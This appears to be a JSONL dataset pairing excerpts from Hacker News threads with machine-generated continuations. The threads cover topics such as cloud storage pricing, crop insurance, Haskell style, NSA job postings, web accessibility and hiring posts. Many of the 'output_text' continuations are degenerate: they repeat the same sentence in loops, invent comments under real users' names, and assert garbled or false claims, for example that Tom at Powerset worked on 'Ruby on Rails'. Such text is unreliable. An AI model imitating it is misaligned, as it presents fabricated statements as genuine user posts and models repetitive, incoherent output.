resources. If it costs more\nto build"} +{"output_text": " higher than Mosso.\n\n2\\. Incoming Bandwidth - The difference in pricing is due to the fact that\nAmazon is charging for the entire amount of bandwidth used by the file, while\nMosso is only charging for the amount of bandwidth used by the file.\n\n3\\. Outgoing Bandwidth - The difference in pricing is due to the fact that\nAmazon is charging for the entire amount of bandwidth used by the file, while\nMosso is only charging for", "input_text": "Likewise, the test is 1TB of incoming bandwidth and 100GB of outgoing\nbandwidth. Now, Amazon easily trumps Mosso on outgoing bandwidth charges - BUT\nMosso is offering free incoming bandwidth __until the end of the month __.\nSeems a little unfair to be creating a comparison on a situation that will\nexist for another 19 days.\n\nI should also note that Mosso seems to measure in Gigabytes instead of\nGibibytes. Why? Well, they're storing 5TB which would be 5120GB, but they've\ncalculated their pricing based on 5000GB as being 5TB (5000 * 0.15 + 100 *\n0.22 = 722). So, you're actually getting less storage. It's not that important\nin the small range, but when you're talking about terrabytes of storage it\nsure as hell becomes important. It means that each terrabyte used on their\nsystem is over 90GB short. Now, Amazon might be using the same logic there so\nI should pull back.\n\nReally, it's cheap to do a comparison using pricing that's going to go up in\nunder a month from when you wrote the comparison.\n\n~~~\necarlin\nHey mdasen -\n\nThanks for digging into the details. Please allow me to clarify a couple of\nthings...\n\n1\\. Average File Size - You have nailed the difference in request fee pricing\nbut failed to point out that 2 of the 5 scenarios show an avg file size of\n75KB. In fact, scenarios 1 and 2 are exactly the same with the exception of\nfile size and were included to specifically highlight the difference in\npricing both above and below the 100KB threshold. Also, in some instances, a\nsmaller avg file size results in Amazon costs being"} +{"output_text": " clay that the tractors had turned it into.\n\nI'm not sure if this is a good example of how the FCIC works, but it's a\npretty good example of how farming can be done with horses.\n\n~~~\njessaustin\n_I 'm not sure if this is a good example of how the FCIC works, but it's a\npretty good example of how farming can be done with horses._\n\nI think it's a good example", "input_text": " (adjusted to reflect actual production reflected in the\nrecords acceptable to the Corporation for continuous years), as specified in\nregulations issued by the Corporation based on production history\nrequirements; (ii) a yield determined by the Corporation, in the case of\u2014 (I)\na producer that has not had a share of the production of the insured crop for\nmore than two crop years, as determined by the Secretary; (II) a producer that\nproduces an agricultural commodity on land that has not been farmed by the\nproducer; or _(III) a producer that rotates a crop produced on a farm to a\ncrop that has not been produced on the farm;_\n\nJust search the doc for \"rotate\". It is only mentioned once. I think the FCIC\nonly applies to wheat and some other grains.\n\n[0][https://www.agriculture.senate.gov/imo/media/doc/75-30%20-%2...](https://www.agriculture.senate.gov/imo/media/doc/75-30%20-%20Agricultural%20Adjustment%20Act%20Of%201938%20&%20Federal%20Crop%20Insurance%20Act1.pdf)\n\n------\nexDM69\nI recently took part in a course on doing farm work with horses. It was a\nlarge garden where all the farm work had been done exclusively with horses for\nabout 10 years, after decades of using tractors. The tractors had turned the\nsoil into hard, clumpy clay which yielded bad crops and required more and more\nfertilizers every year. In about a decade of using horses, manure and\ntraditional methods, the topsoil had turned nice and soft and nutrient-rich.\nNot at all like the hard"} +{"output_text": " there.\n\n~~~\njrockway\nI don't know if it's worth noting, but I'm not sure that's true. I know that\nTom was working on a project called \"Ruby on Rails\" at Powerset, but I don't\nknow if that was the same project as \"Ruby on Rails\" that was open sourced\nlater.\n\n~~~\npjhyett\nI'm not sure either. I think it's more likely that Tom was working on", "input_text": "\n~~~\ntlipcon\nI turned down a job at Google (not 300k but hey, it's Google!) to join a\nstartup. The startup started to sink about 2 years later.\n\nI learned a ton and didn't regret it for an instant. Moved on to a new startup\n2 years ago when it became clear the first was a dead end. Google recruiters\ncontinued to ping me religiously every 6 months regardless.\n\nMoral of the story: Google, MSFT, Facebook, etc will all still be there in 2\nyears. Especially if you're early in your career and don't need the cash\ntoday, go wherever you will learn the most.\n\n~~~\nakronim\nit was 300k over 3 years... so your offer probably wasn't that far off!\n\n------\nBrandonM\n_> When I\u2019m old and dying, I plan to look back on my life and say \"wow, that\nwas an adventure,\" not \"wow, I sure felt safe.\"_\n\nA great conclusion to a great article. Definitely a motto to live by.\n\n~~~\ndavidw\nA cynical mind might say that a really adventurous life might also expose one\nto more risk of being _young_ and dying, rather than old. Or other less than\npleasant outcomes.\n\n~~~\nacangiano\nThat's why our brains afford us both desires: the need for adventure, and the\nneed for security. The two keep each other in check. Adventurous people, who\naren't reckless, simply choose to be more adventurous than fearful when there\naren't too many real safety risks, but mostly perceived ones.\n\n------\npjhyett\nIt's worth noting that none of the Ruby guys Tom worked with at Powerset are\nstill"} +{"output_text": "elligently uses the answers to build a story.\n\n~~~\nerjjones\nI agree, I think he's a journalist.\n\n------\nerjjones\nI think the article is a great example of how to use the internet to\ncommunicate with the public.\n\n------\nerjjones\nI think the article is a great example of how to use the internet to\ncommunicate with the public.\n\n------\nerjjones\nI think the article", "input_text": "/pronunciation of the words. tl;dl: Someone fell in love and is\n\"ticklish\".)\n\n~~~\niammew\nrenaissance\n\n------\ndjschnei\n'It's now very common to hear people say, \"I'm rather offended by that\", as if\nthat gives them certain rights. It's no more than a whine. It has no meaning,\nit has no purpose, it has no reason to be respected as a phrase. \"I'm offended\nby that.\" Well, so fucking what?' \u2014Stephen Fry\n\n------\nerjjones\nWow. Another self imposing post making its way to #hn (sigh)...\n\nOn to other news...\n\nHow about #Microsoft releasing and open sourcing.NET Core\n[http://docs.asp.net/en/latest/conceptual-\noverview/dotnetcore...](http://docs.asp.net/en/latest/conceptual-\noverview/dotnetcore.html) and\n[https://blogs.msdn.microsoft.com/dotnet/2014/11/12/net-\ncore-...](https://blogs.msdn.microsoft.com/dotnet/2014/11/12/net-core-is-open-\nsource/)\n\n(?) Where has our community gone :/\n\n \nThe brilliance of All Gas No Brakes - Balgair\nhttps://bigtechnology.substack.com/p/the-brilliance-of-all-gas-no-brakes\n======\nerulabs\nAll Gas No Brakes is fantastic - strongly recommend to anyone remotely\ninterested in journalism. This article sort of suggests he\u2019s not a journalist\n- which I have to take issue with... He asks as few questions as possible and\nint"} +{"output_text": " the merits of the memo, I think it's important to remember that\nthe media is not the public.\n\nThe public is not the media.\n\n~~~\nmimbs\nI agree, but I think it's important to remember that the media is not the\npublic.\n\nThe public is not the media.\n\n~~~\nChardok\nI think it's important to remember that the media is not the public.\n\nThe public is not the media.", "input_text": " it would be mind-boggling if they didn't actually fix the update problem\nthis time, and if it wasn't a top 3 priority for the new OS.\n\n~~~\nfrozenport\nIt's written in C.\n\nThere is little beyond syntax that a different language can offer because a\nmodern OS cannot afford features like garbage collection. Indeed, this was one\nof the research aims of MS's Singularity project.\n\n~~~\nsametmax\nThey could have written it in Rust. No garbage collection, more security\nguaranties. Easier to contribute to the code properly.\n\n~~~\nfrozenport\nRust performed 3x slower and hacking around the language made it somewhat of a\nmess [1]. Much like Singularity, this is hardly a success story. Although\nSingularity was interesting from a research perspective nobody doubted that an\nOS could be written in Rust.\n\n[https://scialex.github.io/reenix.pdf](https://scialex.github.io/reenix.pdf)\n\n~~~\nsteveklabnik\nThat paper is very old, before Rust 1.0. There was also a lot of discussions\nabout ways that they could have used Rust better at the time, IIRC.\n\nToday, there is no reason Rust should ever be 3x slower, especially in an\nOSdev context, where you currently have to use nightly.\n\n \nThe Most Common Error in Media Coverage of the Google Memo - mimbs\nhttps://www.theatlantic.com/politics/archive/2017/08/the-most-common-error-in-coverage-of-the-google-memo/536181/?single_page=true\n======\nChardok\nRegardless on"} +{"output_text": "? I've never seen a type signature in a Haskell program.\n\n~~~\nhristov\nI have seen type signatures in Haskell programs. I have seen type signatures\nin C programs. I have seen type signatures in C++ programs. I have seen type\nsignatures in Java programs. I have seen type signatures in C# programs. I\nhave seen type signatures in VB programs. I have seen type signatures in\nPython programs. I have seen type signatures in Ruby programs.", "input_text": " it much less accessible.\n\n~~~\nmbrubeck\nOnce you're used to the idiom, I find point-free style at least as easy to\nread as pointful.\n\n _\"Thus, now when you look at code you cannot say at first glance how many\narguments a function takes.\"_\n\nIn Haskell I generally look at the type signature - explicit or inferred - to\nsee what a functions' arguments are.\n\nI find this style is actually more beneficial for larger-scale examples than\nsmaller ones. For example, if you have a memoizing combinator, most people\nwould not find it odd at all to write:\n\n \n \n fast_factorial = memoize factorial\n \n\ninstead of:\n\n \n \n fast_factorial xs = (memoize factorial) xs\n \n\nThe key to point-free style is to think of all functions as potentially acting\nlike combinators, and being modifiers for other functions.\n\n~~~\nhristov\nAnd where do you find the inferred type signature?\n\n~~~\nmbrubeck\nI load the module into ghci and use the :t command. But I mostly do this\nduring development. This is the big reason that production-quality code should\ngenerally have explicit type signatures for top-level functions.\n\n~~~\nhristov\nWell this kind of proves my point. If you have to compile code simply to read\nit, then the language is not very easy to read. What if you are reading the\ncode in order to debug it and the code cant compile?\n\nAnd I know code should have type signatures but it often doesn't.\n\n~~~\njrockway\n_And I know code should have type signatures but it often doesn't._\n\nOften"} +{"output_text": " result\nof the same thing.\n\nThe cost of the infrastructure is falling steadily.\n\nThe cost of the electricity is falling steadily.\n\nThe cost of the fuel is falling steadily.\n\nThe cost of the maintenance is falling steadily.\n\nThe cost of the insurance is falling steadily.\n\nThe cost of the road tax is falling steadily.\n\nThe cost of the parking is falling steadily.\n\nThe cost of the road maintenance is falling steadily.\n\nThe", "input_text": "\n~~~\ndmoy\nOh man that will be glorious, I can't wait for future trips to Beijing without\ngetting respiratory sickness. So far I'm like 7 for 7 on getting sick in\nBeijing.\n\n~~~\nams6110\nSo why do you keep going back? Family?\n\n~~~\ndmoy\nFamily, have to fly to Beijing then take the train, but typically spend a few\ndays in Beijing visiting friends who live there.\n\n------\nyCloser\nAll the \"plans to do stuff by 2050\" are completely useless. The one who did\nthe plan will not be in charge till that date, someone else will take over and\nchange/destroy the plan (or worse, add +20 years), and in politics this is\nsimply the way to go.\n\nThis is procastination at his finest and means \"doing nothing now\".\n\n~~~\nsmcl\nI see the point, but this doesn't necessarily mean its an empty gesture as\nthere is a precedent. Back in 2005 the Scottish government aimed for 18% of\nelectricity consumed to be generated by renewable sources by 2020 (later\nadjusted to 50%). This was met and exceeded in 2015 (59%). Granted this is a\nsmaller timeline but there is real backing for renewables here, especially\nsince the collapse of oil prices hit the local oil industry\n\n~~~\nandygates\nIn the case of electric vehicles, the long timeline means they can ease\ncharging facilities in without having a massive spend - they just come in when\ninfrastructure gets renewed. Visible charging facilities are one of the things\nthat breaks the \"chicken and egg\" adoption problem.\n\n------\nZeroGravitas\nA pragmatic money saving decision.\n\nThe price of batteries is falling steadily. EV prices are falling as a"} +{"output_text": " collaborative whiteboard are you using?\n======\njamesjguthrie\nI use a whiteboard with a pen and a tablet. I find it very useful for\nbrainstorming and sketching.\n\n------\njamesjguthrie\nI use a whiteboard with a pen and a tablet. I find it very useful for brain\nstorming and sketching.\n\n------\njamesjguthrie\nI use a whiteboard with a pen and", "input_text": "? Instead the student will try to achieve the\naccepted standard for the industry they enter.\n\nHow many years after high school will you or any employer care about your\ntranscript? How about college? The experience you have in an industry quickly\noutweighs the number of years in college, at least in my industry (this may\nnot be true when you need to go to specialized schooling, such as when you\nenter a medical profession, but I speak of general schooling).\n\n------\nangelbob\nIt looks like the abstract basically says that the older child does better\nwith a larger spacing (more dedicated time with parents, possibly), while the\nyounger is basically unaffected. That makes sense to me.\n\n------\ncarsongross\nThank goodness association _is_ causation, otherwise where would be?\n\n------\nlarrik\nAKA \"You having another baby is bad for your toddler\"\n\n~~~\ncjfont\nIn many cases your toddler will let you know, too, in the form of jealousy.\n\n------\nRoboprog\nDouble and triple take on the title:\n\nThrow my kids out an air lock? (Space them!)\n\nSend my kids to the ISS? (Space them at least two years)\n\nOK, I got this one a bit off :-(\n\n------\ngeorgemcbay\nUnless you want your own TLC reality show, in which case you should just keep\npopping them out as fast as you can.\n\n \nAsk HN: What collaborative whiteboard are you using? - simonmales\nI feel my team was way more productive when we all were whiteboarding together when designing new solutions.

Recently I have been day dreaming about VR whiteboards and tablet assisted whiteboards as I feel the tactile sense of a pen would help.

What"} +{"output_text": "/ec2-in-memory-\ncomputin...](http://blog.rightscale.com/2012/11/02/ec2-in-memory-computing-\nthe-high-memory-cluster-eight-extra-large/)\n\n~~~\nmichaelt\nI'm not sure I understand the second point. If you're using EBS, you're\nalready copying the root volume to the machine, so you don't need to copy it\nto", "input_text": "aws.typepad.com/aws/2013/01/ec2-for-in-memory-computing-the-high-memory-cluster-eight-extra-large.html\n\n======\nmichaelt\nAlmost all the big EC2 outages have been due to EBS, and you have to pay extra\nfor it as well. Netflix steers clear of it [1].\n\nDoes anyone know why Cluster Compute and Cluster GPU Instances [2] (including\nthis new one) make using EBS mandatory?\n\n[1] [http://techblog.netflix.com/2011/04/lessons-netflix-\nlearned-...](http://techblog.netflix.com/2011/04/lessons-netflix-learned-from-\naws-outage.html) [2]\n[http://aws.amazon.com/ec2/faqs/#Does_use_of_Cluster_Compute_...](http://aws.amazon.com/ec2/faqs/#Does_use_of_Cluster_Compute_Instances_differ_from_other_Amazon_EC2_instance_types)\n\n~~~\ncrb\nTwo reasons come to mind:\n\n* the failure rate of an EBS volume (assuming a bug-free EBS software stack!) _should_ be less than any one spinning disk\n\n* these machines don't have disk space set aside for copying the root volumes to them from S3 to boot. (There's a 10GB limit, and to allow for this to be somewhere, you'd have to have another SSD, or partition the existing ones.)\n\nThere's a good blog post about it on Rightscale:\n[http://blog.rightscale.com/2012/11/02"} +{"output_text": "ASS, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHORAGE, ANCHOR", "input_text": ", I like the guy who lists his databases knowledge to include Excel &\nXKeyScore. Either XKeyScore is so slick that it is indistinguishable from\nExcel or this particular person doesn't know what a database is. Either way,\nthat cannot be good.\n\n~~~\nrhizome\nAt the end of the day, it's evidence of the NSA having low-skills computer\nusers rifling through your calls and internet. Make of that what you will.\n\n------\njonknee\nThe first thing I did yesterday after seeing Snowden's leaked Powerpoint was\nsearch for mentions of XKeyscore in the past and I came across these same job\npostings (and copied them down since I doubted they would last).\n\nI started compiling a database of the different programs, what's known about\nthem, what you can do to stay off their radar, etc. Sound interesting to\nanyone?\n\nPrograms/tools I came across include: AGILITY, ANCHORY/MAUI, AUTOSOURCE,\nCONTRAOCTAVE, WISE, INFOSHARE, TREASUREMAP, TUNINGFORK, SCORPIOFORE, TAPERLAY,\nMAINWAY, PINWALE, Tripwire Analytic Capability, Combating Terrorism Knowledge\nBase (CTKB), etc. Quite a few and some of those names are Hollywood quality.\n\nTools that HN readers would know about that were mentioned: ArcGIS, Wireshark,\nIDA Pro, OLLY Dbg, Snort, Analyst Notebook.\n\n~~~\nfsck--off\nThis article [1] also mentions finding lists of program names from LinkedIn\nprofiles, especially this one [2].\n\n[2] mentions:\n\n \n \n ANCHORY, AM"} +{"output_text": " pay me $100,000 and I don't get\nit, I can't sue them.\n\n~~~\nchrismcb\nI'm not sure what you mean. If the California Guard is not paying soldiers\nwhat they are promised, then they are not fulfilling their contract.\n\n~~~\nerentz\nI'm not sure what you mean. If the California Guard is not paying soldiers\nwhat they are promised, then they are not fulfilling their contract.\n\n~~~\nchr", "input_text": "/post-\nnation/wp/2016/08/18/justice-department-says-it-will-end-use-of-private-\nprisons/)\n\nThese are pretty quick u-turns by an establishment that's confident about\nbusiness as usual following elections. Gravy-train!\n\n~~~\nmikecb\nThis was for a DHS immigration facility, not for a prison. (Not that it makes\nit any better, but it doesn't break with Justice's decision.)\n\n------\nTillE\nThe article doesn't quote anyone from California's Congressional delegation,\nor from the White House. Is there really no reaction here? We're talking about\na few million dollars from the federal government to relieve an awful\nsituation.\n\n~~~\nrhizome\nPersonally, as a Californian I'm calling everybody on my chain-of-legislation\non Monday.\n\n~~~\ntoomuchtodo\nTHANK YOU. Only through action does change occur.\n\n------\nerentz\nIt's not clear from the article how this situation came to be.\n\nWere these soldiers told how much they would receive before enlisting? If so\nsurely that is a contract and they don't have to repay. It only makes sense if\nthey ALL received more than they were told and all didn't report it. But\n~10,000 people doing this doesn't make sense.\n\n~~~\nchrismcb\nFrom the article \"Investigations have determined that lack of oversight\nallowed for widespread fraud and mismanagement by California Guard officials\nunder pressure to meet enlistment targets.\"\n\n~~~\nerentz\nBut fraud on the part of the California Guard is an internal matter. If I form\na contract with a company that says they will"} +{"output_text": "\n======\njustinlaing\nI'm the author of this post. I'm a developer at a small startup in the\nfinancial industry. I've been working on this project for about a month now.\n\nI'm posting this here because I'm hoping that it will be useful to other\npeople. I'm not sure if it will be useful to other people, but I hope it will\nbe useful to me.\n\nI'm posting this here because I'm hoping", "input_text": "ing around with Yeoman this weekend. The real strength I think is in\nthe library of generators and the tools that the generator has in addition to\nthe grunt derived ones.\n\nThe default generator is a one page webapp and that makes everybody think that\nthat is what yeoman is, but there are many more:\n\n[https://github.com/search?q=yeoman+generator&ref=cmdform](https://github.com/search?q=yeoman+generator&ref=cmdform)\n\n65 repos there\n\n------\nniyazpk\nI am already using gruntjs for js/sass/images compression & combining,\ntemplate compilation, and a whole lot of other build related stuff. Can\nsomebody please convince me why I would want to switch to yeomen?\n\n~~~\nNarretz\nYou are not switching to Yeoman if you use grunt, since yeoman uses grunt for\nall the tasks you mentioned. Yeoman is for quickly setting up and adding\ncommon parts to your app. For example, in angular you can create controllers,\ndirectives etc. skeletons, based on predefined or your own scaffolds. Using it\nwill only be good if the generator for your app is good.\n\n------\noutside1234\nThanks for all the hard work - glad to see that Windows support is almost\nready. I'll give that a try.\n\n------\nrschmitty\nIs there an example with backbone requirejs and karma testing for yeoman out\nin the wild?\n\n \nOur 36 Hours on Show HN - justinlaing\nhttps://medium.com/@justinlaing/our-36-hours-on-show-hn-34d47b6b56ee#.k9a8i7pt4"} +{"output_text": " it is.\n\n~~~\njrockway\n_CSS media queries does not solve the problem. It is never that easy and\nshame on your for saying it is._\n\nIt's not that easy, but it's not that hard either. You can do it with a\nlittle bit of JavaScript.\n\n~~~\njoshu\nI think you are right.\n\n------\njrockway\nI think the problem is that the iPhone is a mobile device,", "input_text": " one final point. Mobile Sites. Its an example of what\nhappens when you don't know that the Times is aware of his point and we\ndiscussed it and there was a damn good reason we made the decision that we\nmade.\n\nWhat am I talking about? He shows the iPhone with the full NYT homepage and\nhas the caption \"Um, are you frisking kidding me?\". In other words why not a\nmobile site.\n\nWell, very simple. The iPhone is capable of rendering and interacting with the\nfull page. It was the first browser to do so - it don't require a lite\nversion. You could tap, zoom, pinch, drag and get the full depth of the page.\nOther browsers - like those for Nokia, RIM etc couldn't handle that.\n\nThis was talked over to death. There were compelling arguments about going\ndown this road - or not. In the end, the decision was made to NOT redirect\nthose advanced browsers to the mobile site. You can still go to m.nyt.com if\nyou like, we just wont force you too.\n\n \n \n but it should not require anything more than a media \n query fetching different CSS and perhaps some additional\n scripting so as to simply restyle the content experience\n \n\nAndy does say that all you need is media quires for the CSS and such and\nbingo. Well, no. No its not that simple. If you want to redo the homepage for\na specific mobile experience then you probably want to serve different sized\nimages, maybe not have some Flash stuff on the iPhone, maybe drop the\nbandwidth intensive stuff that works well on desktop.\n\nCSS media queries does not solve the problem. It is never that easy and shame\non your for saying"} +{"output_text": ".\n\n~~~\nabrookewood\nI'm glad you're enjoying it. I'm not sure I'd have the patience to do it\nmyself, but I'm glad you're enjoying it.\n\n------\njrockway\nI'm not sure what the point of this is. It's a toy OS, and it's not even\nfinished. It's not even a toy OS. It's a toy OS that is not finished.\n\n~~~\ncyber", "input_text": "\nI'll be doing lots of refactoring to bring the code in line with proper TOS\nguidelines naming conventions.\n\n(Author here: I cross-posted this comment from a reddit thread, hope it isn't\nagainst the rules..)\n\n~~~\nabrookewood\nCan I ask why you decided to do this rather than learning on a more\nconventional platform?\n\n~~~\ncyberpunk\nI was kind of interested in writing something for the temple (well, okay, I\nspent a bored afternoon contemplating giving it a go and half heartedly\nbooting vms and reading code....)\n\nWhile I can't answer for the OP, my motivation was _specifically_ that this is\nkind of an alien environment and the challenge involved in even getting to\nhello world would definately have seen me walk away at the end the better for\nthe exp, even if walking away from those hours without having gained some\nmarketable understanding of framework foo or language bar.\n\nIn the end I didn't do that because the code is insanely complicated (all\nsingle letter vars) and my downtime is too precious for such masochism\ncurrently; I don't think it's too much of a strech to understand why others\nmight be interested though.\n\nI'm glad to live in a world where such an outstanding personal achievement\nlike Terry's OS really is can exist, and that there are people out there\nprodding at it.\n\nIsn't it cool that we don't always do things for the money?\n\nI dearly hope that none of the recent templeos projects are attempts to\nantagonize Terry though. He is a profoundly accomplished software engineer and\ndeserves nothing but respect for his technical achievements from us all\nalongside understanding of the rest of the package"} +{"output_text": " the FAA has relaxed the requirement to 1000 hours.\n\n[https://www.faa.gov/about/office_org/headquarters_offices/av...](https://www.faa.gov/about/office_org/headquarters_offices/aviation_safety_and_security/safety_research_and_development/safety_research_and_development_research/safety_research_and_development_research_reports/", "input_text": "orgulis\n> I wanted to be a hero and fix India's problems but then I took the easy way\n> out and moved to a developed country.\n\nNot so easy way :-)\n\nThe video says that 20% of the wealth is cultural. I guess it's more. Western\ncountries are probably so successful because they inherited the greek and\nroman culture.\n\nSome countries in Asia (like Japan) switched from feudalism to capitalism in\nfew decades.\n\nThe difficulties of Africa could be explained by the lack of the writing\n(unless it's a consequence). The society is more flat than vertical.\n\n------\nknown\n[https://en.wikipedia.org/wiki/Economic_mobility](https://en.wikipedia.org/wiki/Economic_mobility)\n!=\n[https://en.wikipedia.org/wiki/Social_mobility](https://en.wikipedia.org/wiki/Social_mobility)\n\n \nThe Colgan Air disaster was a milestone in aviation safety - jaredwiener\nhttps://www.bloomberg.com/news/articles/2019-02-12/the-colgan-air-crash-helped-keep-90-million-flights-safe\n======\ndanaliv\nOne of the biggest changes that came out of the Colgan crash is the so-called\n\"1500 hour rule.\" Before Colgan, only the captain needed to have an airline\ntransport pilot (ATP) certificate, the highest level of pilot certification.\nFirst officers (copilots) could fly with a commercial pilot certificate, a\nlower grade of license. Now, both pilots are required to hold ATP\ncertificates.\n\nATP applicants need to have 1500 hours of flight experience\u2014hence \"1500 hour\nrule\"\u2014though"} +{"output_text": " like humidity.\n\n------\njedberg\nI wonder if this would work on the leading edges of a wing.\n\n~~~\njcims\nI think it would work on the leading edges of a wing, but I'm not sure how\nwell.\n\n------\njedberg\nI wonder if this would work on the leading edges of a wing.\n\n~~~\njcims\nI think it would work on the leading edges of a wing, but I'm not", "input_text": " don\u2019t think I was meant to get a giggle out of this. Can you explain using\nother words? Of course a painted surface isn\u2019t bare. It\u2019s got paint on it.\n\nDid you mean it\u2019s not aluminum? Or a different grade?\n\n~~~\nhandedness\nThanks, I laughed at it myself, in hindsight. I should have stipulated\n\"underneath\" and likely appended an \"if you follow...\".\n\nYes, well, they may either be materials that have other surface\ntextures/coatings/treatments/finishes that aren't conducive to polishing, or\nthey may be other metals, or non-metallic composites (can't put aluminum over\na radar, for example), and so on.\n\nTL;DR: The painted surfaces are generally instances in which polished aluminum\nwon't really work, for a variety of reasons.\n\n------\nAWildC182\nInteresting approach and hugely useful if practical, though it bears\nmentioning that the leading edges on aircraft experience a fair amount of\nabrasion from dust, debris, and insects. I wonder how long this treatment\nwould be effective for in a real world environment\n\n~~~\njcims\nSuper important question, first thing that came to mind. How would you even\ntest it for efficacy? Just look for ice building up and say 'welp, time for\nrefinish?'\n\n~~~\ncolechristensen\nThere are wind tunnels for testing icing behaviors, not too hard to do an\naccelerated aging test and come up with standard procedures.\n\n~~~\nAWildC182\nCould be easier said than done. There are lots of edge cases that could become\na problem in real use. Stuff like surface contamination from various fluids or\nenvironmental factors"} +{"output_text": " it to the scrutiny of the public. No court can compel it to reveal\nits secrets. No court can even order it to stop spying. The N.S.A. is a\nsecretive, unaccountable, unchecked agency. It is the ultimate power in the\nworld.\"\n\n~~~\njessaustin\n_No court can compel it to reveal its secrets._\n\nI'm not sure that's true. The FISA court can compel it to reveal its", "input_text": " have to pay for\nit.\n\n~~~\nacranox\nVolkswagen deliberately engineered their cars to falsify government emission\ntests. What intel did was negligent. Volkswagen was malicious. These are very\ndifferent. I don\u2019t see them in remotely the same boat.\n\n~~~\nAnimalMuppet\n\"Negligent\" is even too strong.\n\nPer dictionary.com, the legal definition of negligence is \"the failure to\nexercise that degree of care that, in the circumstances, the law requires for\nthe protection of other persons or those interests of other persons that may\nbe injuriously affected by the want of such care. \"\n\nWhat Intel did was not recognize that a specific attack possibility existed.\nNobody else recognized it either, for a decade. That's not negligence. That's\nfailure to be omniscient.\n\n------\nleoc\nObligatory: [https://millcomputing.com/topic/meltdown-and-\nspectre/](https://millcomputing.com/topic/meltdown-and-spectre/)\n\n------\nfulafel\nDoes anyone know how things are going in GPU land? Don't they support\nconcurrent separate protection domains these days too?\n\n~~~\ndeepnotderp\nNo OoO speculation though.\n\n \n\nThe Silent Power of the NSA (1983) - shalmanese\nhttp://www.nytimes.com/1983/03/27/magazine/the-silent-power-of-the-nsa.html?pagewanted=all\n\n======\nstevewillows\nThe last paragraph tells the tale of why this article has emerged again.\n\n\"No laws define the limits of the N.S.A.'s power. No Congressional committee\nsubjects"} +{"output_text": " like any other team, we've found that the benefits of Node have been\nworth it.\n\n~~~\njoshu\nI'm curious, what are the benefits?\n\n~~~\ntylerlh\nWe've found that the benefits of Node are:\n\n\\- We can write code in a language we're familiar with (JavaScript) and\ndeploy/run it on a platform we're familiar with (Node).\n\n\\- We can write code in a language we're", "input_text": " function in an IDE 'Show Call Hierarchy' will never be\navailable when using a dynamically typed language.\n\nThat is not an issue for smaller projects. However, long before you even get\nclose to the the million lines of code project size, your tools will fail you.\nYour debugging/refactoring times will explode and adding a new feature will\nseem unsurmountable.\n\nInstead, let's just re-write everything from scratch because the cool hipster\nthat wrote your backend a year ago has left for greener pastures...\n\nI won't even try to guess the amount of technical debt produced with Node.js\nand the likes each day in the bay area.\n\nAnd, yes, I just used Node.js to write a Slack-bot. It was fun, took me two\nhours and got me up and running quickly. That's the beauty of it. Just be\naware of the dangers.\n\n~~~\nencoderer\nI've worked in three million+ loc codebases, in PHP, Python and Java. I don't\nshare your opinion that you need static types in these circumstances. You need\ndiscipline, modularity, and most importantly you need to have been blessed\nwith gardeners and maintainers throughout the life of a project and not just\nafter a mess has already taken hold.\n\n~~~\nbeders\nDid you read what I wrote? I already said that you need a disciplined team.\nGood luck keeping that team together for years to come. Not sure if you are\ndisputing the fact that keeping code around is a challenge, or not.\n\n------\ntylerlh\nThe Netflix.com site and webapp runs on Node (and talks to a number of\nservices written in mostly JVM based languages). While we encounter challenges\njust"} +{"output_text": " how to interact with it.\n\n~~~\njames-skemp\nI'm not sure I agree with your friend. I think the checkbox is a great example\nof a custom element that is not a button.\n\n~~~\nmwcampbell\nI agree that it's not a button, but I think it's a good example of a custom\nelement that is not a button.\n\n------\njames-skemp\nI'm not sure I agree with the author", "input_text": " to add a keyup handler to make it do so. 3\\. Screen readers won't\nreport the div as a button because they can't identify widgets based on how\nthey look, so add `role=\"button\"` as per the ARIA spec (only on first cup of\ncoffee now, so I'm not providing a link.)\n\nYes, it isn't super complicated, but a) most don't do it because they _look_\nidentical and b) multiply that by any other widget where the HTML version is\nreplaced with a div and suddenly things get complicated. If you're not a\nkeyboard user, you may not understand how the web works without a mouse. All\nthat is lost when switching to divs.\n\nThis says nothing about how OS/screen reader combinations differ in key\nhandling, nor about how complex widgets such as multiselects include similarly\ncomplex key handling. Also, the above ARIA is super simplistic. It doesn't\nhandle situations where, for instance, you have multiple roles and have to\ntoggle some of them based on what item is selected, what item is focused, etc.\n\nSo, TLDR: It's _so_ much better to use the HTML elements specifically designed\nfor a certain task because you get a lot for free that is taken for granted.\nThat said, I like how Semantic specifies how my UI might look, an wish I could\nhave the best of both worlds.\n\n~~~\nmwcampbell\nAnd a custom button is certainly not the worst offender, though it's probably\nthe most commonly cited example. A blind friend just needed sighted help to\ncomplete a purchase, because the process included a custom checkbox with no\nARIA support. At least with a button that's not identified as such, the user\ncan figure out"} +{"output_text": "\nWe are looking for a Senior Software Engineer to join our team. You will be\nresponsible for developing and maintaining our geospatial data platform.\n\nYou will be working with a small team of engineers and will have the\nopportunity to work on a variety of projects.\n\n------\njames-a-morgan\nMorgan Stanley | Software Engineer | New York, NY | Full-time | Onsite\n\nWe are looking for a software engineer to join our team", "input_text": "aker@blkmtn.com\n\n------\nd0m\nListrunner | Full-time, Montreal |\n[https://www.listrunnerapp.com](https://www.listrunnerapp.com)\n\nListrunner is a secure collaboration platform for clinical teams.\n\nUsing human design and machine learning, we connects doctors to their team\u2019s\ncollective expertise. We helps clinical teams make the best decisions for\ntheir patients, saving lives and reducing costs.\n\nLooking to hire a front-end and a back-end engineer.\n\n[https://angel.co/listrunner/jobs/208216-front-end-\nengineer-i...](https://angel.co/listrunner/jobs/208216-front-end-engineer-in-\nmontreal)\n\n[https://angel.co/listrunner/jobs/208224-back-end-software-\nen...](https://angel.co/listrunner/jobs/208224-back-end-software-engineer)\n\nOur stack is mostly node, react, react-native.\n\nFeel free to reach out: phzbox at gmail.\n\n------\nmaxmind\nMaxMind | Senior Software Engineer | Remote - US & Canada | Full Time |\n[https://www.maxmind.com/en/home](https://www.maxmind.com/en/home)\n\nPlease view our job description and apply here:\n[https://jobs.lever.co/maxmind/c378f96c-aaad-4cab-8709-091d05...](https://jobs.lever.co/maxmind/c378f96c-aaad-4cab-8709-091d050825cf)\n"} +{"output_text": " in French.\n\n~~~\nemilecantin\nI didn't know that either, but I guess it's a bit of a coincidence.\n\n------\njessaustin\nI'm not sure what to make of this. It's a bit like the \"spleen\" in \"spleen\nthe cat\" or \"spleen the bear\".\n\n~~~\njessaustin\nI guess I'm not sure what to make of this either.", "input_text": 